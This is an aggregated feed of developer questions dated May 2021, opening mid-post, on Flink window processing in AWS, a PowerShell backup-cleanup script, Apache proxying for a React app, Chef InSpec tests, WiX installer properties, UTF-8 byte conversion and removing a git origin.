EventTimeTrigger, WindowCountFunction) -> (Sink: Print to Std. Out, Sink: Unnamed, Sink: Print to Std. Out) (2/2)", "applicationARN": "arn:aws:kinesisanalytics:...", "applicationVersionId": "39", "messageSchemaVersion": "1", "messageType": "DEBUG" } We could also verify that the messages had been read from the Kafka topic and sent for processing by looking at the Flink Dashboard What we have tried without luck We had implemented a RichParallelSourceFunction which emits 1_000_000 messages and then exits This worked well in the Local environment The job finished in the AWS environment, but there was no data on the sink side We had implemented an other RichParallelSourceFunction which emits 100 messages at each second Basically we had two loops a while(true) outer and for inner After the inner loop we called the Thread.sleep(1000) This worked perfectly fine on the local environment But in AWS we could see that checkpoints' size grow continuously and no message appeared in ELK We have tried to run the KDA application with different parallelism settings But there was no difference We also tried to use different watermarking strategies (forBoundedOutOfOrderness, withIdle, noWatermarks) But there was no difference We have added logs for the ProcessWindowFunction and for the ElasticsearchSinkFunction Whenever we run the application from IDEA then these logs were on the console Whenever we run the application with KDA then there was no such logs in CloudWatch Those logs that were added to the main they do appear in the CloudWatch logs We suppose that we don't see data on the sink side because the window processing logic is not triggered. That's why don't see processing logs in the CloudWatch. Any help would be more than welcome! Update #1 We have tried to downgrade the Flink version from 1.12.1 to 1.11.1 There is no change We have tried processing time window instead of event time It did not even work on the local environment

Having trouble automating removing files using Powershell Posted: 17 May 2021 07:49 AM PDT The goal of my code is to automate removing files from the backup location. First, it needs to make sure that it is removing files from the current year. Then, it needs to make sure that the files exist in both the backup and archive directories before it can successfully remove the files. I have marked where I know where the error is which is where it is checking to see if the files exists in both locations. It keeps saying that I cannot bind argument to parameter 'Path' because it is null. <#Purpose of this program is to delete files from backup not from current Year that exists both in archive and backup#> Function Delete-Files ($src, $dst) { #if source folder or destination folder doesn't exist, break if (!(Test-Path $src)) { "$src does not exist" break; } if (!(Test-Path $dst)) { "$dst does not exist" } Set-Location $src #gets the files for the path the function is calling for Get-ChildItem $src | #where they were updated not this year Where-Object {$_.LastWriteTime.year -ne (Get-Date).year} | #checks to make sure that the files that are getting deleted exists in the archive Where-Object {!(Test-Path (Join-Path $dst $_.Name))} ###what I think is causing the error ForEach-Object { #code to delete files if ($files -ne $null) #if there are files to be deleted { "`nRemoving files" $null = Remove-Item $_.FullName $src } else #if there are not files to be deleted { "`nFiles do not exist" } } } #file location declared for $src #file location declared for $dst Delete-Files $src $dst

All Inertia requests must receive a valid Inertia response, however a plain JSON response was received Posted: 17 May 2021 07:48 AM PDT i am trying to understand and resolve this InertiaJs error without success i hope i can get some help here.

React app showing page with "404 the requested path could not be found" when using Apache Posted: 17 May 2021 07:48 AM PDT I am deploying a React app to my Apache server. I can access the app on my-ip:5001, but when I go to my domain it gives me "404 the requested path could not be found". Btw. the domain has been set up and worked with an html file before working with react. I did npm run build and placed the build folder in the root of my server. Made no changes to the package.json file. I run the server using: serve -s -l 5001 Apache conf file: <IfModule mod_ssl.c> <VirtualHost *:443> ServerName somedomain.com ServerAlias www.somedomain.com ProxyRequests On ProxyVia On <Proxy *> Order deny,allow Allow from all </Proxy> ProxyPass / http://localhost:5001/ ProxyPassReverse / http://localhost:5001/ </VirtualHost> </IfModule> Any idea what might be going on here?

Possible to use Chef variables within Inspec? Posted: 17 May 2021 07:49 AM PDT I'm learning to write integration tests for my Chef cookbooks. Is it possible to reference variables from the attributes folder within my test? Here's my test to make sure httpd and php are installed properly. However, I have additional packages I want to check for. test/smoke/default/install.rb %w(httpd php).each do |rpm_package| describe package(rpm_package) do it { should be_installed } end end attributes/default.rb default['ic_apachephp']['php_packages'] = [ 'php-mysqlnd', 'php-mbstring', 'php-gd', 'php-xml', 'php' ]

How to disable Repair and option buttons on WiX toolset Posted: 17 May 2021 07:49 AM PDT Plenty of questions regarding this issue but none of them explain where exactly those two lines should be placed: <Property Id="ARPNOREPAIR" Value="yes" Secure="yes" /> <Property Id="ARPNOMODIFY" Value="yes" Secure="yes" /> Tried searching online, on the documentation itself but no luck EDIT I tried putting them inside my tag but it's still there:

How to convert UTF8 string to byte array? Posted: 17 May 2021 07:49 AM PDT The .charCodeAt function returns with the unicode code of the caracter. But I would like to get the byte array instead. I know, if the charcode is over 127, then the character is stored in two or more bytes. var arr=[]; for(var i=0; i<str.length; i++) { arr.push(str.charCodeAt(i)) }

How to remove origin from git repository Posted: 17 May 2021 07:49 AM PDT Basic question: How do I disassociate a git repo from the origin from which it was cloned? git branch -a shows: * master remotes/origin/HEAD -> origin/master and I want to remove all knowledge of origin, and the associated revisions. Longer question: I want to take an existing subversion repo and make a number of smaller git repos from it. Each of the new git repos should have the full history of just the relevant branch. I can prune the repo to just the wanted subtree using: git filter-branch --subdirectory-filter path/to/subtree HEAD but the resulting repo still contains all the revisions of the now-discarded subtrees under the origin/master branch. I realise that I could use the -T flag to git-svn to clone the relevant subtree of the subversion repo in the first place. I'm not sure if that would be more efficient than later running multiple instantiations of git filter-branch --subdirectory-filter on copies of the git repo but, in any case, I would still like to break the link with the origin.

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